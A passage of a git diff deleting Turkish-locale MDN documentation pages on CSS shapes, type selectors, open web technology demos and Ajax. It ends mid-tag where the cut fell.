<td>{{SpecName('CSS Shapes 2', '#shape-outside-property', 'shape-outside')}}</td> - <td>{{Spec2('CSS Shapes 2')}}</td> - <td>Adds the <code>path()</code> value</td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - -<div> - - -<p>{{Compat("css.properties.shape-outside")}}</p> -</div> - -<h2 id="See_also">See also</h2> - -<ul> - <li><a href="/en-US/docs/Web/CSS/CSS_Shapes">CSS Shapes</a></li> - <li><a href="/en-US/docs/Web/CSS/CSS_Shapes/Overview_of_CSS_Shapes">Overview of CSS Shapes</a></li> - <li><a href="/en-US/docs/Web/CSS/CSS_Shapes/Shapes_From_Box_Values">Shapes from Box Values</a></li> - <li><a href="/en-US/docs/Web/CSS/CSS_Shapes/Basic_Shapes">Basic Shapes</a></li> - <li><a href="/en-US/docs/Web/CSS/CSS_Shapes/Shapes_From_Images">Shapes from Images</a></li> - <li>{{cssxref("<basic-shape>")}}</li> - <li>{{cssxref("shape-margin")}}</li> - <li>{{cssxref("shape-image-threshold")}}</li> -</ul> diff --git a/files/tr/web/css/type_selectors/index.html b/files/tr/web/css/type_selectors/index.html deleted file mode 100644 index 8c375757ba..0000000000 --- a/files/tr/web/css/type_selectors/index.html +++ /dev/null @@ -1,126 +0,0 @@ ---- -title: Tip Seçicileri -slug: Web/CSS/Type_selectors -tags: - - CSS - - CSS referansı - - Yeni başlayan - - seçiciler -translation_of: Web/CSS/Type_selectors -original_slug: Web/CSS/Tip_secicileri ---- -<div>{{CSSRef("Selectors")}}</div> - -<h2 id="Tanım">Tanım</h2> - -<p><em>Tip (type)</em> seçicisi, HTML içerisinde tanımlanmış elementin tipi ile eşleşir. HTML elementinden<em> HTML tags </em>diye de bahsedilebilir. Örneğin, HTML'de <code><em><h1>, <a>, <p> </em></code>tag'leri birer elementtir. Bu seçicinin kullanımı oldukça sadedir. Sadece elementin isminin belirtilmesi yeterlidir.</p> - -<h2 id="Sözdizim">Sözdizim</h2> - -<pre class="syntaxbox">element { <em>stil özellikleri</em> } -</pre> - -<h2 id="Örnek" name="Örnek">Örnek</h2> - -<h3 id="CSS">CSS</h3> - -<pre class="brush: css line-numbers language-css"><code class="language-css"><span class="selector token">span </span><span class="punctuation token">{</span> - <span class="property token">background-color</span><span class="punctuation token">:</span> DodgerBlue<span class="punctuation token">;</span> - <span class="property token">color</span><span class="punctuation token">:</span> <span class="hexcode token">#ffffff</span><span class="punctuation token">;</span> -<span class="punctuation token">}</span></code></pre> - -<h3 id="HTML">HTML</h3> - -<pre class="brush: html"><span>span elementi</span> -<p>p (paragraf) elementi</p> -<span>tekrar span elementi</span></pre> - -<p>{{ EmbedLiveSample('Örnek', 200, 150) }}</p> - -<p> </p> - -<h2 id="Spesifikasyonlar">Spesifikasyonlar</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Spesifikasyon</th> - <th scope="col">Durum</th> - <th scope="col">Yorum</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('CSS4 Selectors', '#type-selectors', 'Type (tag name) selector')}}</td> - <td>{{Spec2('CSS4 Selectors')}}</td> - <td>Değişiklik yok</td> - </tr> - <tr> - <td>{{SpecName('CSS3 Selectors', '#type-selectors', 'type selectors')}}</td> - <td>{{Spec2('CSS3 Selectors')}}</td> - <td>Değişiklik yok</td> - </tr> - <tr> - <td>{{SpecName('CSS2.1', 'selector.html#type-selectors', 'type selectors')}}</td> - <td>{{Spec2('CSS2.1')}}</td> - <td> </td> - </tr> - <tr> - <td>{{SpecName('CSS1', '#basic-concepts', 'type selectors')}}</td> - <td>{{Spec2('CSS1')}}</td> - <td>Baştaki tanım</td> - </tr> - </tbody> -</table> - -<h2 id="Tarayıcı_uyumluluğu">Tarayıcı uyumluluğu</h2> - -<p>{{CompatibilityTable}}</p> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Özellik</th> - <th>Chrome</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari</th> - </tr> - <tr> - <td>Temel destek</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Özellik</th> - <th>Android</th> - <th>Android için Chrome</th> - <th>Firefox Mobil (Gecko)</th> - <th>IE Mobil</th> - <th>Opera Mobil</th> - <th>Safari Mobil</th> - </tr> - <tr> - <td>Temel destek</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - </tr> - </tbody> -</table> -</div> diff --git a/files/tr/web/demos_of_open_web_technologies/index.html b/files/tr/web/demos_of_open_web_technologies/index.html deleted file mode 100644 index aea815dff2..0000000000 --- a/files/tr/web/demos_of_open_web_technologies/index.html +++ /dev/null @@ -1,147 +0,0 @@ ---- -title: Demos of open web technologies -slug: Web/Demos_of_open_web_technologies -translation_of: Web/Demos_of_open_web_technologies ---- -<p>Mozilla supports a wide range of open web technologies and we encourage them to use these technologies. This page provides links to demos of popular technologies, including some of the demo studios that have been active in the past. A good application or presentation about open web technologies If you know, please add the application or promotion you know here as a link to an appropriate section.</p> - -<h2 id="2D_Graphics">2D Graphics</h2> - -<h3 id="APNG" name="APNG">APNG</h3> - -<ul> - <li><a class="external" href="http://people.mozilla.com/~dolske/apng/demo.html">Justin's demo</a> (works when saved locally)</li> -</ul> - -<h3 id="SVG" name="SVG">Canvas</h3> - -<ul> - <li><a class="external" href="http://www.blobsallad.se/">An interactive blob using javascript and canvas (fun)</a></li> - <li><a class="external" href="http://blobsallad.se/article/" title="http://blobsallad.se/article/">Blob's demos</a></li> - <li><a class="external" href="http://glimr.rubyforge.org/cake/canvas.html">Canvas Animation Kit Experiment (CAKE)</a></li> - <li><a class="external" href="http://www.xs4all.nl/~peterned/3d/" title="http://www.xs4all.nl/~peterned/3d/">Canvas3D & Flickr</a></li> - <li><a class="external" href="http://arapehlivanian.com/wp-content/uploads/2007/02/canvas.html" title="http://arapehlivanian.com/wp-content/uploads/2007/02/canvas.html">Playing with Canvas</a></li> - <li><a class="external" href="http://langexplr.blogspot.com/2008/11/using-canvas-html-element.html" title="http://langexplr.blogspot.com/2008/11/using-canvas-html-element.html">Using the Canvas Html element5</a></li> - <li><a class="external" href="/samples/raycaster/RayCaster.html" title="https://developer.mozilla.org/editor/fckeditor/core/editor/samples/raycaster/RayCaster.html">RayCaster</a></li> - <li><a class="external" href="http://jsmsxdemo.googlepages.com/jsmsx.html" title="http://jsmsxdemo.googlepages.com/jsmsx.html">MSX Emulator</a></li> - <li><a class="external" href="http://processingjs.org/exhibition/" title="http://dev.jquery.com/~john/processing.js/examples/basic/">processing.js</a></li> - <li><a class="external" href="http://glimr.rubyforge.org/cake/missile_fleet.html" title="http://glimr.rubyforge.org/cake/missile_fleet.html">Missile fleet</a></li> - <li><a class="external" href="http://glimr.rubyforge.org/cake/demos/fireworks2.6rt.html" title="http://glimr.rubyforge.org/cake/demos/fireworks2.6rt.html">FireWorks</a></li> - <li><a class="external" href="http://glimr.rubyforge.org/cake/demos/canvas_ash.html" title="http://glimr.rubyforge.org/cake/demos/canvas_ash.html">Canvas ash1</a></li> - <li><a class="external" href="http://glimr.rubyforge.org/cake/demos/canvas_ash2.html" title="http://glimr.rubyforge.org/cake/demos/canvas_ash2.html">Canvas ash2</a></li> - <li><a class="external" href="http://glimr.rubyforge.org/cake/demos/canvas_ash8.html" title="http://glimr.rubyforge.org/cake/demos/canvas_ash8.html">Canvas ash8</a></li> - <li><a class="external" href="http://gyu.que.jp/jscloth/" title="http://gyu.que.jp/jscloth/">3D on 2D Canvas</a></li> - <li><a href="http://viliusle.github.io/miniPaint/">miniPaint - Image editor </a>(<a href="https://github.com/viliusle/miniPaint">source code</a>)</li> -</ul> - -<h3 id="SVG" name="SVG">SVG</h3> - -<ul> - <li><a class="external" href="http://www.kde-look.org/CONTENT/content-files/19524-gearflowers.svg.gz">Gearflowers image</a> Don't forget to zoom in (works when saved locally)</li> - <li><a class="external" href="http://people.mozilla.com/~vladimir/demos/photos.svg">SVG photo demo</a> (visual effects and interaction)</li> - <li><a class="external" href="http://starkravingfinkle.org/projects/demo/svg-bubblemenu-in-html.xml">Bubblemenu</a> (visual effects and interaction)</li> - <li><a class="external" href="http://starkravingfinkle.org/blog/2007/07/firefox-3-svg-foreignobject/">HTML transformations</a> using <code>foreignObject</code> (visual effects and transforms)</li> - <li><a class="external" href="http://svg-whiz.com/svg/linguistics/theCreepyMouth.svg">Phonetics Guide</a> (interactive)</li> - <li><a class="external" href="http://www.lutanho.net/svgvml3d/platonic.html">3D objects demo</a> (interactive)</li> - <li><a class="external" href="http://www.themaninblue.com/experiment/Blobular/" title="http://www.themaninblue.com/experiment/Blobular/">Blobular</a> (interactive)</li> - <li><a class="external" href="http://www.double.co.nz/video_test/video.svg">Video embedded in SVG</a> (or use the <a class="external" href="http://www.double.co.nz/video_test/video_svg.tar.bz2">local download</a>)</li> - <li><a href="http://summerstyle.github.io/summer/">Summer HTML image map creator</a> (<a href="https://github.com/summerstyle/summer">source code</a>)</li> -</ul> - -<h3 id="Video" name="Video">Video</h3> - -<ul> - <li><a class="external" href="http://www.double.co.nz/video_test/test1.html">Streaming Anime, Movie Trailer and Interview</a></li> - <li><a class="external" href="http://www.double.co.nz/video_test/test2.html">Billy's Browser Firefox Flick</a></li> - <li><a class="external" href="http://www.double.co.nz/video_test/test3.html">Virtual Barber Shop</a></li> - <li><a class="external" href="http://www.double.co.nz/video_test/test4.html">Transformers Movie Trailer</a></li> - <li><a class="external" href="http://www.double.co.nz/video_test/test5.html">A Scanner Darkly Movie Trailer</a> (with built in controls)</li> - <li><a class="external" href="http://www.double.co.nz/video_test/events.html">Events firing and volume control</a></li> - <li><a class="external" href="http://www.double.co.nz/video_test/video.svg" title="http://www.double.co.nz/video_test/video.svg">Dragable and sizable videos</a></li> -</ul> - -<h2 id="3D_Graphics">3D Graphics</h2> - -<h3 id="WebGL">WebGL</h3> - -<ul> - <li><a href="http://ondras.github.io/fireworks-webgl/">Web Audio Fireworks</a></li> - <li><a href="https://dl.dropboxusercontent.com/u/62064441/ioquake3.js/ioquake3.html">IoQuake3</a> (<a href="https://github.com/klaussilveira/ioquake3.js">source code</a>)</li> - <li><a href="http://micah.tech/demoscene/">Escher puzzle</a> (<a href="https://github.com/micahbolen/demoscene">source code</a>)</li> - <li><a href="http://collinhover.github.io/kaiopua/">Kai 'Opua</a> (<a href="https://github.com/collinhover/kaiopua">source code</a>)</li> -</ul> - -<h3 id="Virtual_Reality">Virtual Reality</h3> - -<ul> - <li><a href="http://mozvr.com/demos/polarsea/">The Polar Sea</a> (<a href="https://github.com/MozVR/polarsea">source code</a>)</li> - <li><a href="http://mozvr.github.io/sechelt/">Sechelt fly-through</a> (<a href="https://github.com/mozvr/sechelt">source code</a>)</li> -</ul> - -<h2 id="CSS">CSS</h2> - -<ul> - <li><a href="http://webdeveloperbareilly.in/blog/html5/responsive-contact-form-bootstrap.php">Responsive Contact Form</a></li> - <li><a href="http://felixniklas.com/paperfold/">Paperfold</a></li> - <li><a href="http://ondras.zarovi.cz/games/blockout/">CSS Blockout</a></li> - <li><a href="http://ondras.zarovi.cz/demos/rubik/">Rubik's cube</a></li> - <li><a href="http://ondras.zarovi.cz/demos/nojs/">Pure CSS Slides</a></li> - <li>Planetarium (<a href="https://github.com/littleworkshop/planetarium">source code</a>)</li> - <li><a href="http://www.lesmoffat.co.uk/folio/forest/forest.html">CSS Paralax Forest</a></li> - <li><a href="http://webdeveloperbareilly.in/blog/css3/awesome-login-form.html">Awesome Login Page</a></li> - <li><a href="http://webdeveloperbareilly.in/blog/css3/onepage-scroll-template.html">CSS3 One Page Scroll</a></li> -</ul> - -<h3 id="Transformations">Transformations</h3> - -<ul> - <li><a href="http://impress.github.io/impress.js">Impress.js</a> (<a href="https://github.com/impress/impress.js">source code</a>)</li> -</ul> - -<h2 id="Games">Games</h2> - -<ul> - <li><a href="https://dl.dropboxusercontent.com/u/62064441/ioquake3.js/ioquake3.html">IoQuake3</a> (<a href="https://github.com/klaussilveira/ioquake3.js">source code</a>)</li> - <li><a href="http://collinhover.github.io/kaiopua/">Kai 'Opua</a> (<a href="https://github.com/collinhover/kaiopua">source code</a>)</li> -</ul> - -<h2 id="HTML">HTML</h2> - -<ul> - <li> <a href="http://zenphoton.com">Zen Photon Garden </a>(<a href="https://github.com/scanlime/zenphoton">source code</a>)</li> - <li><a href="http://webdeveloperbareilly.in/blog/smo/html-meta-tags-for-social-media-optimization.html">HTMl Meta Tags For SMO</a></li> -</ul> - -<h2 id="Web_APIs">Web APIs</h2> - -<ul> -</ul> - -<h3 id="Notifications_API">Notifications API</h3> - -<ul> - <li>HTML5 Notifications (<a href="https://github.com/elfoxero/html5notifications">source code</a>)</li> -</ul> - -<ul> -</ul> - -<h3 id="Web_Audio_API">Web Audio API</h3> - -<ul> - <li><a href="http://ondras.github.io/fireworks-webgl/">Web Audio Fireworks</a></li> - <li><a href="http://ondras.github.io/oscope/">oscope.js - JavaScript oscilloscope</a></li> - <li><a href="http://mdn.github.io/audio-buffer/">Audio Buffer demo</a> (<a href="http://mdn.github.io/audio-buffer/">source code</a>)</li> - <li><a href="http://nipe-systems.de/webapps/html5-web-audio/">HTML5 Web Audio Showcase</a> (<a href="https://github.com/NIPE-SYSTEMS/html5-web-audio-showcase">source code</a>)</li> - <li><a href="http://wayou.github.io/HTML5_Audio_Visualizer/">HTML5 Audio Visualizer</a> (<a href="https://github.com/Wayou/HTML5_Audio_Visualizer">source code</a>)</li> - <li><a href="http://carlosrafaelgn.com.br/GraphicalFilterEditor/">Graphical Filter Editor and Visualizer</a> (<a href="https://github.com/carlosrafaelgn/GraphicalFilterEditor">source code</a>)</li> -</ul> - -<h3 id="Unclassified" name="Unclassified">Web Workers</h3> - -<ul> - <li><a href="http://ondras.zarovi.cz/demos/fractal/">Web Worker Fractals</a></li> - <li><a href="http://ondras.zarovi.cz/demos/photo/">Photo editor</a></li> - <li><a href="http://ondras.zarovi.cz/demos/coral/">Coral generator</a></li> - <li><a class="external" href="http://nerget.com/rayjs-mt/rayjs.html" title="http://nerget.com/rayjs-mt/rayjs.html">Raytracer</a></li> -</ul> diff --git a/files/tr/web/guide/ajax/index.html b/files/tr/web/guide/ajax/index.html deleted file mode 100644 index 7aece12816..0000000000 --- a/files/tr/web/guide/ajax/index.html +++ /dev/null @@ -1,121 +0,0 @@ ---- -title: Ajax -slug: Web/Guide/AJAX -translation_of: Web/Guide/AJAX ---- -<div class="callout-box"><strong><a href="/en-US/docs/AJAX/Getting_Started" title="en-US/docs/AJAX/Getting_Started">Başlarken</a></strong><br> -Ajax'a giriş.</div> - -<div> -<p><strong>Asenkronize JavaScript + XML</strong>, aslında bir teknoloji değil, 2005 yılında Jesse James tarafından geliştirilmiştir. AJAX, <a href="/en-US/docs/HTML" style="line-height: 1.5;" title="en-US/docs/HTML">HTML</a> , <a href="/en-US/docs/XHTML" style="line-height: 1.5;" title="en-US/docs/XHTML">XHTML</a> <span style="line-height: 1.5;">, </span><a href="/en-US/docs/CSS" style="line-height: 1.5;" title="en-US/docs/CSS">Cascading Style Sheets</a><span style="line-height: 1.5;">, </span><a href="/en-US/docs/JavaScript" style="line-height: 1.5;" title="en-US/docs/JavaScript">JavaScript</a><span style="line-height: 1.5;">, </span><a href="/en-US/docs/DOM" style="line-height: 1.5;" title="en-US/docs/DOM">The Document Object Model</a><span style="line-height: 1.5;">, </span><a href="/en-US/docs/XML" style="line-height: 1.5;" title="en-US/docs/XML">XML</a><span style="line-height: 1.5;">, </span><a href="/en-US/docs/XSLT" style="line-height: 1.5; text-decoration: underline;" title="en-US/docs/XSLT">XSLT</a> <span id="ouHighlight__0_2TO0_1" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;">ve</span><span id="noHighlight_0.44718789122998714" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;"> </span><span style="line-height: 1.5;"> </span><span id="ouHighlight__4_7TO3_4" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;">en</span><span id="noHighlight_0.4369756893720478" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;"> </span><span id="ouHighlight__9_19TO6_13" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;">önemlisi </span><a href="/en-US/docs/DOM/XMLHttpRequest" style="line-height: 1.5; text-decoration: underline;">XMLHttpRequest object</a><span style="line-height: 1.5;"> </span><span style="line-height: 1.5;">gibi </span><span style="line-height: 1.5;">mevcut birçok teknolojinin bir arada kullanılmasıyla tanımlanır.</span></p> - -<p><span id="ouHighlight__56_58TO0_2" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;">Web</span><span id="noHighlight_0.7786283385939896" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;"> </span><span id="ouHighlight__60_71TO4_15" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;">uygulamaları</span><span id="noHighlight_0.9015628297347575" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;"> </span><span id="ouHighlight__44_47TO17_20" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;">Ajax</span><span id="noHighlight_0.24559306120499969" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;"> </span><span id="ouHighlight__49_53TO22_30" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;">modelinde </span><span id="ouHighlight__5_9TO32_33" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;">bu</span><span id="noHighlight_0.6162111926823854" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;"> </span><span id="ouHighlight__11_22TO35_48" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;">teknolojilerle</span><span id="noHighlight_0.2793352466542274" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;"> </span><span id="ouHighlight__0_3TO50_67" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;">birleştirildiğinde</span><span id="noHighlight_0.32127178995870054" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;">, </span><span id="ouHighlight__161_174TO70_80" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;">tarayıcının</span><span id="noHighlight_0.8187880788464099" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;"> </span><span id="ouHighlight__176_179TO82_88" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;">sayfayı</span><span id="noHighlight_0.8092812011018395" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;"> </span><span id="ouHighlight__147_155TO90_96" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;">yeniden yükleme </span><span id="ouHighlight__139_145TO98_104" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;">olmadan</span><span id="noHighlight_0.4394837652798742" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;"> </span><span id="ouHighlight__124_127TO106_114" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;">kullanıcı</span><span id="noHighlight_0.7428704814519733" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;"> </span><span id="ouHighlight__129_137TO116_122" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;">arayüzü</span><span id="noHighlight_0.38297620601952076" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;"> </span><span id="ouHighlight__90_94TO124_128" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;">hızlı</span><span id="noHighlight_0.1281804747413844" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;">, eklenmiş </span><span id="ouHighlight__109_115TO139_152" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;">güncelleştirmeler</span><span id="noHighlight_0.8291458273306489" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;"> </span><span id="ouHighlight__82_83TO154_159" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;">yapmak </span><span id="ouHighlight__77_80TO161_166" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;">mümkün</span><span id="noHighlight_0.14670732175000012" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;">.</span><span id="noHighlight_0.8634342923760414" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;"> </span><span id="ouHighlight__182_185TO169_170" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;">Böylece </span><span id="ouHighlight__197_207TO172_179" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;">uygulama</span><span id="noHighlight_0.5845255467575043" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;"> </span><span id="ouHighlight__209_214TO181_190" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;">daha hızlı </span><span id="ouHighlight__216_218TO192_193" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;">ve</span><span id="noHighlight_0.9066877507138997" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;"> </span><span id="ouHighlight__220_223TO195_198" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;">daha</span><span id="noHighlight_0.7310307007282972" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;"> iyi olarak </span><span id="ouHighlight__239_242TO204_212" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;">kullanıcı</span><span id="noHighlight_0.14593244390562177" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;"> </span><span id="ouHighlight__244_250TO214_224" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;">eylemlerine </span><span id="ouHighlight__225_234TO226_230" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;">yanıt</span><span id="noHighlight_0.755671429913491" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;"> verir</span><span id="noHighlight_0.35992295085452497" style="color: #444444; font-family: 'Segoe UI'; line-height: 20px;">.</span></p> - -<p>Although X in Ajax stands for XML, <a href="/en-US/docs/JSON" title="https://developer.mozilla.org/en-US/docs/JSON">JSON</a> is used more than XML nowadays because of its many advantages such as being lighter and a part of JavaScript. Both JSON and XML are used for packaging information in Ajax model.</p> -</div> - -<div class="row topicpage-table"> -<div class="section"> -<h2 class="Documentation" id="Documentation">Documentation</h2> - -<dl> - <dt><a href="/en-US/docs/AJAX/Getting_Started" title="en-US/docs/AJAX/Getting_Started">Getting Started</a></dt> - <dd>This article guides you through the Ajax basics and gives you two simple hands-on examples to get you started.</dd> - <dt><a href="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest" title="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest">Using the XMLHttpRequest API</a></dt> - <dd>The <a href="/en-US/docs/DOM/XMLHttpRequest" title="XMLHttpRequest"><code>XMLHttpRequest</code> API</a> is the core of Ajax. This article will explain you how to use some Ajax techniques, like: - <ul> - <li><a href="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest#Handling_responses" title="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest#Handling_responses">analyzing and manipulating the response of the server</a></li> - <li><a href="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest#Monitoring_progress" title="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest#Monitoring_progress">monitoring the progress of a request</a></li> - <li><a href="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest#Submitting_forms_and_uploading_files" title="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest#Submitting_forms_and_uploading_files">submitting forms and upload binary files</a> – in <em>pure</em> Ajax, or using <a href="/en-US/docs/DOM/XMLHttpRequest/FormData" title="DOM/XMLHttpRequest/FormData"><code>FormData</code></a> objects</li> - <li><a href="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest#Types_of_requests" title="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest#Types_of_requests">creating synchronous or asynchronous requests</a></li> - <li>using Ajax within <a href="/en-US/docs/DOM/Worker" title="/en-US/docs/DOM/Worker">Web workers</a></li> - </ul> - </dd> - <dt><a href="/en-US/docs/Server-sent_events" title="/en-US/docs/Server-sent_events">Server-sent events</a></dt> - <dd>Traditionally, a web page has to send a request to the server to receive new data; that is, the page requests data from the server. With server-sent events, it's possible for a server to send new data to a web page at any time, by pushing messages to the web page. These incoming messages can be treated as <em><a href="/en-US/docs/DOM/event" title="DOM/Event">Events</a> + data</em> inside the web page. See also: <a href="/en-US/docs/Server-sent_events/Using_server-sent_events" title="/en-US/docs/Server-sent_events/Using_server-sent_events">Using server-sent events</a>.</dd> - <dt><a href="/en-US/docs/Web/Guide/DOM/Manipulating_the_browser_history/Example" title="/en-US/docs/Web/Guide/DOM/Manipulating_the_browser_history/Example"><em>Pure-Ajax</em> navigation example</a></dt> - <dd>This article provides a working (minimalist) example of a <em>pure-Ajax</em> web site composed only of three pages.</dd> - <dt><a href="/en-US/docs/DOM/XMLHttpRequest/Sending_and_Receiving_Binary_Data" title="/en-US/docs/DOM/XMLHttpRequest/Sending_and_Receiving_Binary_Data">Sending and Receiving Binary Data</a></dt> - <dd>The <code>responseType</code> property of the XMLHttpRequest object can be set to change the expected response type from the server. Possible values are the empty string (default), <code>"arraybuffer"</code>, <code>"blob"</code>, <code>"document"</code>, <code>"json"</code>, and <code>"text"</code>. The <code>response</code> property will contain the entity body according to <code>responseType</code>, as an <code>ArrayBuffer</code>, <code>Blob</code>, <code>Document</code>, <code>JSON</code>, or string. This article will show some Ajax I/O techniques.</dd> - <dt><a href="/en-US/docs/XML" title="XML">XML</a></dt> - <dd>The <strong>Extensible Markup Language (XML)</strong> is a W3C-recommended general-purpose markup language for creating special-purpose markup languages. It is a simplified subset of SGML, capable of describing many different kinds of data. Its primary purpose is to facilitate the sharing of data across different systems, particularly systems connected via the Internet.</dd> - <dt><a href="/en-US/docs/JXON" title="JXON">JXON</a></dt> - <dd>JXON stands for lossless <strong>J</strong>avascript <strong>X</strong>ML <strong>O</strong>bject <strong>N</strong>otation, it is a generic name by which is defined the representation of Javascript object trees (JSON) using XML.</dd> - <dt><a href="/en-US/docs/Parsing_and_serializing_XML" title="Parsing_and_serializing_XML">Parsing and serializing XML</a></dt> - <dd>How to parse an XML document from a string, a file or via javascript and how to serialize XML documents to strings, Javascript Object trees (JXON) or files.</dd> - <dt><a href="/en-US/docs/XPath" title="XPath">XPath</a></dt> - <dd>XPath stands for <strong>X</strong>ML <strong>Path</strong> Language, it uses a non-XML syntax that provides a flexible way of addressing (pointing to) different parts of an <a href="/en-US/docs/XML" title="XML">XML</a> document. As well as this, it can also be used to test addressed nodes within a document to determine whether they match a pattern or not.</dd> - <dt><a href="/en-US/docs/DOM/FileReader" title="/en-US/docs/DOM/FileReader">The <code>FileReader</code> API</a></dt> - <dd>The <code>FileReader</code> API lets web applications asynchronously read the contents of files (or raw data buffers) stored on the user's computer, using <a href="https://developer.mozilla.org/en-US/docs/DOM/File" title="/en-US/docs/DOM/File"><code>File</code></a> or <a href="https://developer.mozilla.org/en-US/docs/DOM/Blob" title="/en-US/docs/DOM/Blob"><code>Blob</code></a> objects to specify the file or data to read. File objects may be obtained from a <a href="https://developer.mozilla.org/en-US/docs/DOM/FileList" title="/en-US/docs/DOM/FileList"><code>FileList</code></a> object returned as a result of a user selecting files using the <code><a href="https://developer.mozilla.org/en-US/docs/HTML/Element/input" title="<input>"><input></a></code> element, from a drag and drop operation's <a href="https://developer.mozilla.org/En/DragDrop/DataTransfer" title="En/DragDrop/DataTransfer"><code>DataTransfer</code></a> object, or from the <code>mozGetAsFile()</code> API on an <a href="https://developer.mozilla.org/en-US/docs/DOM/HTMLCanvasElement" title="/en-US/docs/DOM/HTMLCanvasElement"><code>HTMLCanvasElement</code></a>.</dd> - <dt><a href="/en-US/docs/HTML_in_XMLHttpRequest" title="en-US/docs/HTML_in_XMLHttpRequest">HTML in XMLHttpRequest</a></dt> - <dd>The W3C <a class="external" href="http://dvcs.w3.org/hg/xhr/raw-file/tip/Overview.html">XMLHttpRequest</a> specification adds HTML parsing support to <a href="/en/DOM/XMLHttpRequest" title="en/DOM/XMLHttpRequest"><code>XMLHttpRequest</code></a>, which originally supported only XML parsing. This feature allows Web apps to obtain an HTML resource as a parsed DOM using <code>XMLHttpRequest</code>.</dd> - <dt><a href="/en-US/docs/AJAX/Other_Resources" title="en-US/docs/AJAX/Other_Resources">Other resources</a></dt> - <dd>Other Ajax resources you may find useful.</dd> -</dl> - -<p><span class="alllinks"><a href="/en-US/docs/tag/AJAX" title="en-US/docs/tag/AJAX">View All...</a></span></p> - -<h2 class="Other" id="See_also">See also</h2> - -<dl> - <dt><a href="http://www.webreference.com/programming/ajax_tech/">Alternate Ajax Techniques</a></dt> - <dd>Most articles on Ajax have focused on using XMLHttp as the means to achieving such communication, but Ajax techniques are not limited to just XMLHttp. There are several other methods.</dd> - <dt><a href="http://adaptivepath.com/ideas/ajax-new-approach-web-applications/">Ajax: A New Approach to Web Applications</a></dt> - <dd>Jesse James Garrett, of <a href="http://www.adaptivepath.com">adaptive path</a>, wrote this article in February 2005, introducing Ajax and its related concepts.</dd> - <dt><a href="http://www.onlamp.com/pub/a/onlamp/2005/05/19/xmlhttprequest.html">A Simpler Ajax Path</a></dt> - <dd>"As it turns out, it's pretty easy to take advantage of the XMLHttpRequest object to make a web app act more like a desktop app while still using traditional tools like web forms for collecting user input."</dd> - <dt><a href="http://www.contentwithstyle.co.uk/content/fixing-the-back-button-and-enabling-bookmarking-for-ajax-apps/" 